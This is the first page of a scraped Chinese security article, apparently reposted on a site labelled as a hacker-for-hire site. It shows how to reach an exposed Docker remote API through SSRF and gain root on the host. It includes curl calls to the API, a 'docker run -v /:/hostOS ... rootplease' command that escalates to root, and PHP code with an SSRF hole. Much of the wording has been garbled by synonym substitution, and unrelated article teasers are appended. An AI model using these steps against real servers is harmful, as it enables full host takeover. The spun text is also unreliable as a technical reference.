经过SSRF缝隙进犯Docker长途API获取服务器Root权限

经过SSRF缝隙进犯Docker长途API获取服务器Root权限这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来...

这几天笔者在做关于自动化布置Docker镜像方面的项目,然后触摸到了Docker的API,而Docker的API也能够经过TCP衔接的方式来进行拜访。从一个安全爱好者的视点动身,是否能够运用Docker的长途API来完结提权等一系列的操作?查找了各种材料之后,终究笔者探究到了一条经过SSRF缝隙来进犯Docker长途API,然后取得长途主机的root权限的进犯思路,经过这篇文章来共享一下整个进程及其防备的办法。
1. Docker长途API介绍
Docker长途API是Docker团队为了便运用户长途管理Docker而供给的一套API接口。在默许的情况下,Docker Daemon运转于Unix Socket上,一般为unix:///var/run/docker.sock。
当需求长途管理Docker服务器或许是创立Docker集群时,或许需求敞开Docker的长途API。在Ubuntu上的一种敞开办法如下:
修正/lib/systemd/system/docker.service文件,修正ExecStart一行:
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
ExecReload=/bin/kill -s HUP $MAINPID
LimitNOFILE=1048576
之后再重启docker:
sudo service docker restart
然后就能够运用Docker客户端或许恣意http客户端拜访Docker服务,例如:

能够看到Docker供给的API实质上是一个RSTful方式的http接口,详细的文档能够从Docker的官网获取:Engine API V1.24。
这儿列出几个重要的接口:
列出一切的容器:
$ curl http:/localhost:4243/v1.24/containers/json
列出一切镜像:
$ curl http:/localhost:4243/v1.24/images/json[{
  "Id":"sha256:31d9a31e1dd803470c5a151b8919ef1988ac3efd44281ac59d43ad623f275dcd",
  "ParentId":"sha256:ee4603260daafe1a8c2f3b78fd760922918ab2441cbb2853ed5c439e59c52f96",
  ...
}]
创立并运转容器:
$ curl  -H "Content-Type: application/json"
  -d '{"Image": "alpine", "Cmd": ["echo", "hello world"]}'
  -X POST http:/localhost:4243/v1.24/containers/create
{"Id":"1c6594faf5","Warnings":null}
$ curl   -X POST http:/localhost:4243/v1.24/containers/1c6594faf5/start
http:/localhost:4243/v1.24/containers/1c6594faf5/wait
{"StatusCode":0}
$ curl  "http:/localhost:4243/v1.24/containers/1c6594faf5/logs?stdout=1"
hello world
到了这儿,咱们能够看到假如开放了Docker长途API,咱们便能够运用RESTful接口来完结一系列Docker容器操作。
2. 运用docker容器提权
有些朋友或许会问了:Docker容器内部是一个与主机阻隔的虚拟化环境,怎样才能运用Docker容器获取主机操控权?这儿就涉及到Docker运转时的用户权限了。Docker Daemon运转时是以root用户运转,因此具有极高的权限:
$ ps aux|grep dockerd
root      1723  0.1  0.8 563472 68900 ?        Ssl  17:17   0:24 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243
image    25504  0.0  0.0  15984   936 pts/3    S+   21:12   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn dockerd
那么怎样经过Docker Daemon终究取得服务器的root权限?这儿咱们能够运用Docker挂载宿主机文件的功用,直接挂载高权限目录,然后在容器内部获取宿主机的操控权限。
这儿有一个黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
运转后的输出如下:

退出Docker,检查宿主机/root/目录:

咱们能够看到成功在/root文件夹写入了一个文件。
上面那条指令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease首要的作用是:从 Docker Hub上面下载咱们指定的镜像,然后运转。参数 -v 将容器外部的目录/挂载到容器内部 /hostOS,而且运用-i和-t 参数进入容器的shell。而这个镜像rootplease在容器内部执行了一个脚本exploit.sh,首要内容就是chroot到/hostOS中。这样咱们便经过读写宿主机的恣意文件完结了获取宿主机的最高权限。这个镜像的源码能够在 Github上获取。
3. 经过SSRF完结进犯
这儿咱们的服务器端环境如下:

在PHP中经常出现,导致SSRF缝隙的代码完结:
$curl=curl_init();
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);

[1] [2] [3]  黑客接单网

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/10077.html

(0)

相关推荐

  • 糖尿病人适合吃什么?推荐这5种食物,常吃或有助于稳定血糖

    导语:糖尿病在日常生活中并不少见,但是却鲜有人可以在第一时间察觉到,一旦发现一般都已经患病一段时间了。

    生活 2021年9月28日
  • 台积电已开始试生产3nm芯片

    品玩12月3日讯,据MacRumors报道,DigiTimes最新报告显示,台积电(TSM.N)已经开始试生产基于其3nm工艺(称为N3)的芯片。据悉,台积电将在2022年第四季度前将3nm工艺推向批量生产,并在2023年第一季度开始向苹果(AAPL.O)和英特尔(INTC.O)等客户运送3nm芯片。第一批采用3nm芯片的苹果设备预计会在2023年首次亮相,包括采用A17芯片的iPhone 15/Pro系列机型和采用M3芯片的苹果Silicon Mac电脑(所有名称都是暂定)。

    科技 2021年12月3日
  • 登山赛车无限金币版下载,登山赛车二无限车辆版无限金币版

    带车库的登山车 登山赛车1.38 .车库是一个有趣的休闲汽车手机游戏。 玩家需要在山上开车。 山路崎岖,你需要学会油门和刹车,以免车子翻车。 在改造车的过程中可以收集金币。 带车库...

    阅读 2022年10月24日
  • 什么是真空胎,轮胎真空胎

    什么是真空胎,轮胎真空胎 新手司机:真空胎是不是不用打气?新手司机第一次去修车问了这个问题,以前电动车都有内胎的,老司机一分钟给你讲清楚真空胎,为什么小车都没有内胎,而货车有内胎,原来这里面还有这么多门道!无内胎轮胎

    攻略 2021年11月16日
  • 观察日记400字生菜,小青菜观察日记四年级

    观察日记400字 四年级(青菜观察日记)观察日记400字 四年级(青菜观察日记)9月30日 星期四 晴今天下午,赖老师带领我们来到了“朵朵种植园”,我们将在这里种上大家最爱吃的青菜。我们拿着小锄头给菜地松土,看着手中黑乎

    电商 2021年11月4日
  • 今日中国幸福城市要闻一览(未来五年房价走势)

    今天要闻中国幸福城市排行榜(未来五年房价走势)就在前不久,央视财经频道重磅发布了2017-2018年度中国10大最具幸福感的直辖市和省会城市,那么究竟是哪些城市入选了这个名单呢?
    根据从先到后的排名,分别是:武汉、西宁

    阅读 2021年10月5日